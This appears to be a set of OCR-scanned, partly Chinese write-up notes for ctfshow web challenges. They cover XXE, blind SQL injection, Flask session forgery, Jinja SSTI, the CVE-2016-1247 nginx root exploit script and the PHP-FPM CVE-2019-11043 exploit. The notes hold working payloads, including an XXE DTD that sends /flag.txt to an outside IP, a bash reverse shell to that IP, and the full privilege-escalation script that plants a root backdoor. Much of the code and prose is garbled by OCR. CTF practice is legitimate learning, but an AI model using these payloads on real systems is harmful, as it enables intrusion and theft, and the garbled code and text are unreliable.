<reset><login>bee</login><secret>Any bugs?</secret></reset>

test.dtd:

<!IENTITY % pl SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<IENTITY % p2 "<!ENTITY xxe SYSTEM 'http://47.101.145.94/pass=%pl;'>">

%p2;

w413 2flag

POST fapi.php HTTP/1.1

Host: B4f96bdf-fada-4aad-b024-3062c250a849. chall. cff. show

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4, x64; nv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, textfjavascript, **; ¢=0.01

Accept-Language: zh-CW,zh;q=0.8 zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en; q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 40

Crigin: http://E4f96hdf-fad5-4aad-h024-3062:250a849. chall.ctf. show

Connection: close

Referer: http:/B426hdf-f5d5-4aad-b024-3062:250a849. chall.ctf. show!

Cookie: UM_distinctid=174dd3ee98a2a-069d3056c122228-4 31257 b-1fad00-174dd3e98c 1 a9

api=http /i47.101.145. 94 /test. xml&city=1

S%.

anweilx : ctfshow——web AKZE
wh1isper: ctfshow webak%

$: CTFSHOW WEB_AKZE

web B

web1 &3] NI
ZRIMBOE—IR, XRNET BABMA, &£ —a gl

HTTP/1.1 200 OK

Server: nginx/1.14.0 (Ubuntu)

Date: Tue, 06 Oct 2020 06:51:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

¥-Powered-By: PHP/7 3.1
Content-Length: 631

<br />

<b>Warning</b=: DOMD t::load XML(): ble to locate filter
&quot;convert-basebd.encode&quot; in <b>/var/www/html/api.php</b> on line <b=20</h=<hbr
=

<br />

<b>Warning</b>: DOMDocument:loadXML(): Unable to create filter
{convert-basebd.encode) in <b>/var/www/html/api.php</b> on line <b>20</b=<br />

<hr >

<b=Warning</b>: DOMDocument:loadXML(): Invalid URI:
ht‘lp:ﬂd?.1l]1.145.94!pa§=[ﬂagjﬁe?dhﬁfd-?-ﬁaﬂ429fﬁ!]dh-ﬂacdﬁl]524afdﬂin Entity, line: 2 in
<b=/var/www/html/api.php</b= on line <b=20</b><hr /=
{"success":true,"msg":"W6765'u81ea\u7684'9053 53 ch,\wif60\uI0a3 W91 cc\u7Ib0ST28\u66
2f \w98cews5411wdeda™}



https://www.cnblogs.com/anweilx/p/13417899.html
http://wh1sper.cn/?p=3461
https://blog.csdn.net/miuzzx/article/details/107706685

import requests
import re
urll = "http://80aa5350-d5f9-478b-91e7-71cd1lbOfec5b.chall.ctf.show/register.php"
url2 = "http://80aa5350-d5f9-478b-91e7-71cdlbofec5b.chall.ctf.show/login.php"
flag=""
for i in range(1,50):
payload="hex(hex(substr((select/**/flag/**/from/**/flag)from/**/"+str(i)+"/**/for/**/1))),/*"
print(payload)
s=requests.session()
datal={
'e':str(i+30)+""',username="+payload,
uttR/HY
'p':i+30
¥
#print(datal['e'])
rl = s.post(urll,data=datal)
data2={
'e':i+30,
'p':i+30
¥
r2=s.post(url2,data=data2)
t =r2.text
real = re.findall("Hello (.*?),",t)[@]
flag+=real
print(flag)

B J5 P IR hex i@ ig B v] 15 Fliflag

HexJmg
Hex, +-oitblssmesis

AE6CE16TTEIE 383 TaTA131583220 3062640420346 337322039 3 TR0 52D 3435306652316 532636563507

FFFE  utf8(unicodef®id)

flag {BB772182-0bdd-4cT2-9Tee—4508f 212 cecl]

%%5%: web1_§§ﬂ
web2 @ HEPFE
on: WHEFLAG

X EHCTF2018-adminf @ H Sti, H6 R 2% T —/NUnicodefk Y, ILTERFEflask session thik


https://wp.ctf.show/d/94-web1/4

flask¥1session &7 7E %% F wicookie /[, 1 ELflask AN X $ 3BT T84 . mFTAMKRE, ZSL0ERLB RN, RN b
TiflaskIE A R MZEAE, Pl Hsession )4 # N A AR 2 AT ATER F s ALK, X AT feid g — 222 4 )

pythonffIl A 40 F «

Flask Session Cookie Decoder/Encoder
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports

import sys

import zlib

from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)

if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')

elif sys.version_info[0@] == 3 and sys.version_info[l] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod

else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def init_(self, secret_key):
self.secret_key = secret_key

if sys.version_info[0] == 3 and sys.version_info[l] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):

Encode a Flask session cookie
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)

raise e

def decode(session_cookie_value, secret_key=None):

Decode a Flask cookie

try:

if(secret_key==None):
compressed = False
payload = session_cookie_value



if payload.startswith
compressed = True
payload = payload[1

data = payload.split(".")[@

data = base64_decode(data
if compressed
data = zlib.decompress(data

return data
else
app = MockApp(secret_key

si = SecureCookieSessionInterface
s = si.get_signing_serializer(app

return s.loads(session_cookie_value
except Exception as e
return "[Decoding error] {}".format(e
raise e
else: # > 3.4
class FSCM(ABC
def encode(secret_key, session_cookie_structure

Encode a Flask session cookie
try
app = MockApp(secret_key

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure
si = SecureCookieSessionInterface
s = si.get_signing_serializer(app

return s.dumps(session_cookie_structure
except Exception as e

return "[Encoding error] {}".format(e

raise e

def decode(session_cookie_value, secret_key=None

Decode a Flask cookie
try
if(secret_key==None
compressed = False
payload = session_cookie_value
if payload.startswith('."’
compressed = True
payload = payload|1

data = payload.split(".")[@

data = base64_decode(data
if compressed
data = zlib.decompress(data

return data
else
app = MockApp(secret_key

4 ChacmiimAlraAlld ACArct AnTdAnwlAnA
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s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e

if _name__ == "_main_ ":

# Args are only relevant for __main__ usage

## Description for help

parser = argparse.ArgumentParser(
description="Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help="sub-command help', dest='subcommand")

## create the parser for the encode command

parser_encode = subparsers.add_parser('encode', help='encode')

parser_encode.add_argument('-s', '--secret-key', metavar='<string>"',
help="'Secret key', required=True)

parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command

parser_decode = subparsers.add_parser('decode’, help='decode")

parser_decode.add_argument('-s', '--secret-key', metavar='<string>"',
help="'Secret key', required=False)

parser_decode.add_argument('-c', '--cookie-value', metavar='<string>",
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == ‘encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode"):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print (FSCM.decode(args.cookie_value))
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<html lang="en">
<head>
<meta charset="UTF-3">
<title’EasvLogind/title>
<link rel="stylesheet” href="/static/css/normalize. css” type="text/css">
<{link rel="stylesheet” href="/static/css/base.css” type="text/css™>
<{link href="https://fonts. gdsdocs. org/css?family=Lobster” rel="stylesheet” type="text/cs:
</head>
<body background="/static/images/gh. jpg">
<div class="z">
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bidx@ubuntu:~/3

(=S python3 flask_session_manager.py decode -c 'eyJ1c2VybmFtZSI6IjMyMTMifQ.X3xUCQ.HctWFtSL5sdC9q6M8LCesjhiAm®"' -s 'ican'
{'username': '3213'}

FrhiEadminit 4T N 158 Bcookie, B HI Jyadmin

biex@ubuntu:~/315$ python3 ﬂask_sessi_c)n_maaager.py encode -s 'ican' -t "{'username': 'admin'}"

eyJ1c2VybmFtZSI6IMFkbWluIng®. X3xVOw. 1AXCh2V_1GT3FbgDiseTpCDTW70O
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H# Ipayload:

% for c in __class__.__base__. subclasses_ () %:{% if c.__name__=='catch warnings' % c.__init__._global
s__['_builtins__'].eval("__import__('os').popen('ls"').read()" % endif %}{% endfor %



RntiflagfE NF, MABEEHRER: LinEFHHREMFHenvin @ ERARTRRE

{% for ¢ in [].__class__._base . _subclasses_ () %}{% if c.__name__=='catch_warnings' %}{{ c.__init__._global
s__['_builtins__ "J.eval("__import__ ('os').popen('env').read()") }}{% endif %}{% endfor %}

<« cC o © A& 2e6a067a-e5ff-4658-8599-29d306a90de5.chall.ctf.show/?ctfshow={%%20for%20c%20in%20[._class_._base . subclasses_(%20%}%%20if%20c._name_==%BF s+ ¢ L@
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HOSTNAME=54865fed98b2 HOME=/home/ctf PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PWD=/ FLAG=|fIag{62a21aBa-91 3d-4a7c-b6bf-3ba302ad3f04)
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nginx -v BEHEXATRAN1.4.6, FERF, HE Epoc
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Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
nginxed-root.sh (ver. 1.0)

CVE-2016-1247
Discovered and coded by:

Dawid Golunski
dawid[at]legalhackers.com

https://legalhackers.com

Follow https://twitter.com/dawid_golunski for updates on this advisory.

This PoC exploit allows Llocal attackers on Debian-based systems (Debian, Ubuntu
etc.) to escalate their privileges from nginx web server user (www-data) to root


https://blog.knownsec.com/2016/11/nginx-exploit-deb-root-privesc-cve-2016-1247/
https://www.seebug.org/vuldb/ssvid-92538

BHOoH OB OH K R OB OB OB OB OH R OR R OB K KO OR R R OB K OK KR R R

through unsafe error Log handling.

The exploit waits for Nginx server to be restarted or receive a USR1 signal.

On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
script which is called daily by the cron.daily on default installations.

The restart should take place at 6:25am which is when cron.daily executes.

Attackers can therefore get a root shell automatically in 24h at most without any admin
interaction just by letting the exploit run till 6:25am assuming that daily Llogrotation
has been configured.

Exploit usage:

./nginxed-root.sh path_to_nginx_error. lLog

To trigger logrotation for testing the exploit, you can run the following command:

/usr/sbin/logrotate -vf /etc/logrotate.d/nginx

See the full advisory for details at:
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

Video PoC:

https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

Disclaimer:
For testing purposes only. Do no harm.

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"

[
[

RIVESCLIB="/tmp/privesclib.so"
RIVESCSRC="/tmp/privesclib.c"

SUIDBIN="/usr/bin/sudo"

function cleanexit {

# Cleanup

echo -e "\n[+] Cleaning up..."

rm -f $PRIVESCSRC

rm -f $PRIVESCLIB

rm -f $ERRORLOG

touch $ERRORLOG

if [ -f /etc/1ld.so.preload |; then
echo -n > /etc/ld.so.preload

fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1

function ctrl_c() {

#

echo -e "\n[+] Ctrl+C pressed"
cleanexit ©

intro

cat <<_eascii_

<

Is your server (N)jinxed ? ;o0 >



\ B
- /--
_ -/ \ ) XXXXXXXXXXX\V
SXXX(C 0 0 ) XXXXXXXXXXXXXXX -
/XXX( u ) XXXXXXX\
/XXXXX ( Y- XOOORXXXXXX\
IXXXXX/ ( 0 ) OXOOXXX AXXXXX\
XXXXX/  / XXXXXX  \__ \XXXXX
XXXXXX__/ XXXXXX \__---->
.- XXX/ XXXXXX \__ /
\- -/ __/\ XXXXXX / __--/=
\-\ _/ XXXXXX oo XXXXXX
\-1/XXX\ XXXXXX /XXXXX
AXXXXXXXXX /XXXXX/
\XXXXXX > _/XXXXX/
\XXXXX--__/ - XXXX/
- XXXXXXXX = = === === m e XXXXXX -
AXXXXXXXXXXXXXXXXXXXXXXXXXX /
VXXXV ™ ™

_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginx
ed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \@33[@m"

# Args
if [ $# -Lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"

echo -e "It seems that this server uses: “ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d'
' -f1 | grep '/'"\n"
exit 3

fi

# Priv check

echo -e "\n[+] Starting the exploit as: \n\@33[94m id \@33[om"

id | grep -q www-data

if [ $? -ne @ ]; then
echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
exit 3

fi

# Set target paths

ERRORLOG="%1"

if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3

fi

# [ Exploitation ]

trap ctrl_c INT

# Compile privesc preload Library

echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC

#define _GNU_SOURCE

#include <stdio.h>

#include <sys/stat.h>



#include <unistd.h>

#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown ("$BACKDOORPATH", @, 0);
chmod (" $BACKDOORPATH", @4777);
unlink("/etc/1ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -1d1"
if [ $? -ne @ ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n 1ls -1 $BACKDOORPATH "

# Safety check

if [ -f /etc/ld.so.preload |; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2

fi

# Symlink the log file
rm -f $ERRORLOG && 1n -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne @ ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\@33[@m (writable logdir) ! :) Symlink created at: \n'1l
s -1 $ERRORLOG™ "

# Make sure the nginx access.log contains at least 1 Line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the Logs/USR1 signal after the Llogrotation (if daily
# rotation is enable in Llogrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am.
while :; do
sleep 1
if [ -f /etc/ld.so.preload |; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done

# /etc/ld.so.preload should be owned by www-data user at this point

# Tniect the nrivesc.so shared |ihrarv to escalate nrivileaes
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echo > /etc/1ld.so.preload

echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n'1ls
echo -e "\n[+] Adding shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n cat
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the SUID binary to get root!"

sudo 2>/dev/null >/dev/null

# Check for the rootshell

1s -1
1s -1 | grep rws | grep -q root
if -eq © then

echo -e "\n[+] Rootshell got assigned root SUID perms at: \n 1ls

echo -e "\n\@33[94mThe server is (N)jinxed ! ;) Got root via Nginx!\@33[om"
else

echo -e "\n[!] Failed to get root"

cleanexit 2
fi

rm -f

echo >

# Use the rootshell to perform cleanup that requires root privilges
-p -c¢ "rm -f /etc/ld.so.preload; rm -f "
# Reset the logging to error.log

-p -c "kill -USR1 s

# Execute the rootshell
echo -e "\n[+] Spawning the rootshell now! \n"

-p -i

# Job done.
cleanexit ©

bash -i >& /dev/tcp/47.101.145.94/6666 ©>&1
BLEARS BN, TBFHET
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biex@ubuntu:~/F phuip-fp 1$ . /phuip-fpizdam http://203e41b7-1b9b-4961-befe-eb2519b48f22.chall.ctf.show/index.php
2020/10/06 20:39:41 Base status code is 200

2020/10/06 20:39: Status code 502 for gsl=1765, adding as a candidate

2020/10/06 20:39: The target is probably vulnerable. Possible QSLs: [1755 1760 1765]

2020/10/06 20:40:51 Attack params found: --gqsl 1760 --pisos 177 --skip-detect

2020/10/06 20:40:51 Trying to set "session.auto_start=0"...

2020/10/06 20:40: Detect() returned attack params: --gsl 1760 --pisos 177 --skip-detect <-- REMEMBER THIS
2020/160/06 20:40: Performing attack using php.ini settings...

2020/10/06 20:40: Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2020/10/06 20:40: Trying to cleanup /tmp/a...

2020/10/06 20:40: Done!

biex@ubuntu:~/F phuip-fp S I it in.n

PAT T, A4 B A 153l flag
pHRIERR: BN ZER, RAHIPHP-FPMT#ERZE 754, BibiFEZEL
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https://wp.ctf.show/d/87-ctfshow-web03-jpg
https://github.com/neex/phuip-fpizdam

(— c © £ 203e41b7-1b9b-4961-b0f0-eb2519b48f22 chall.ctf.show/?a=cat fl0gHele.txt

Haw Oof OO BEEE( - o0 .. D mewmeok [#csDN - sUFFssit.. A a2EEe66 - BER REBEEET - ..

flag{1dcacSf6-a669-4333-9bac-bebf42d95386} | 7php
highlight_file!_FILE_ J;
Fi

2%
PHP-FPM iz 2 A #47#iH (CVE-2019-11043)
PHP R REPATIRIAEIM (CVE-2019-11043) [ RH#ishellIh]

web5 & Bt A flag N 358

1. KEMRHIAS
2: FAESEHETENFZHSERE

EREOXEIFAERTIFRMER

payload:

'ro# AH "<O1# '<1# ' &0# <o ">>0H & H# '/o#

POST v | hitp://be269af1-6d97-4bcc-b91b-123809dc104f . chall.ctf.show/check.php
Params Authorization Headers (8) Body @ Pre-request Script Tests Settings
none form-data @ x-www-form-urlencoded raw binary GraphQL
KEY VALUE DESCF
bd U fOF
v 321
Ke falue Desc
Body Cockies Headers (7) TestResults & sStatus: 2000k T
Pretty Raw Preview Visualize

flag{5fa45368-a753-4343-9e3c-a5837e412315}

2% . CTFSHOWW #hFweb5_ % it A flag
web6_%iB_ NEHE
Y T YRS

<?php
($S = $_GET['S']1)?eval("$$s"):highlight_file(_ FILE_ );


https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md
http://blog.leanote.com/post/snowming/9da184ef24bd
https://wp.ctf.show/d/86-ctfshow-web5-flag

H# Fpayload:
?S=a;system('cat ../../flag.txt");

REREE S
?S=a=system('cat ../../flag.txt");
<« ¢ @ © £ 357924dd-1060-4993-8392-b9ff5387 dfal.chall.ctf.show/?S=a=system('cat ../../flag.txt");

Bt Haf O mEREE( - )on.. 2 HSwkeeos [® csDN - sUFssit. 9 52EEs6s - BEE KBS - k.. B =s=-

flag{9eb30b01-6c11-424¢-8250-299eb8d23f1f}

10244+

BB HE B R five, REMKIRKET

1024 WEBZ%: 3|

BHS TR, v LR Aphpinfori %, REAKL
<?php

error_reporting(0);

highlight_file(__FILE_ );
call user_func($_GET['f']);



% 4d79b-81e6-4be1-b606-89e0b0065c1 2.chall.ctf.show/?f=phpinfo ~ E ss 1‘,}| iIh O © 1 ® %
[P wIEEsserrs. () [EW] SINEs. © =98 @ PTA | BmsiEst. O 53FETe6s - B=E [6 T==8 CSDNEE

ict unicode On On
sle_gc On On
tibyte Off Off
»t encoding no value no value
al_check Off Off
ctfshow
ctype

FEFIFA function:ctfshow_1024 support , #F-4 i Fctishow 10248k HK T

[ & & @ | © & >-81e6-4bel-b606-89e0b0065c12.chall.ctf.show/?f=ctfshow 1024 ~
B ylests ARt @ HFE i ﬁ? ITESSSSNTEE. () [iEK] -SitRgs. © =08 EQ PTA | BFiE
<{?php

-*

—k— coding: utf-8 —=
@Author: hlx

# a

# @Date: 2020-10-20 23:59:00

# @Last Modified by: hlxa

# @Last Modified time: 2020-10-21 03:51:36
# @email: hlza@ctfer.com

# @link: https://ctfer.com

error_reporting (0) ;
highlight_file(_ FILE_);

call user func($_GET[ £ 1);
flag{welcome 2 ctfshow 1024 cup}
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